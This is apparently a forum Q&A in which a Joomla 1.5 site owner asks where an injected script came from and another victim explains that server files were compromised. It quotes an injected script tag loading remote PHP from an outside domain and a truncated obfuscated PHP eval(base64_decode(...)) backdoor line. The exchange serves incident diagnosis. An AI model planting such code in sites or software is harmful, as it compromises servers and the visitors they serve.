Q:

Joomla! 1.5 site fell victim to XSS

My Joomla! 1.5 website recently fell victim to what seems to be an XSS attack (I'm a noob when it comes to this stuff)...The following code was injected into the site (somewhere)
<script src="http://sweepstakesandcontestsdo.com/pmg.php"></script>

and I'm not sure exactly where. I've searched the database as well as the files, only to find zero results. Is there something obvious I'm missing?

A:

My site also fell victim to this attack, still investigating it.  It is not a XSS attack, your server files were compromised.  Look inside the system template in the index php file and you will find a block of code like this:
<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb.....>

The base64 encode string is php code that does all sorts of nasty things.

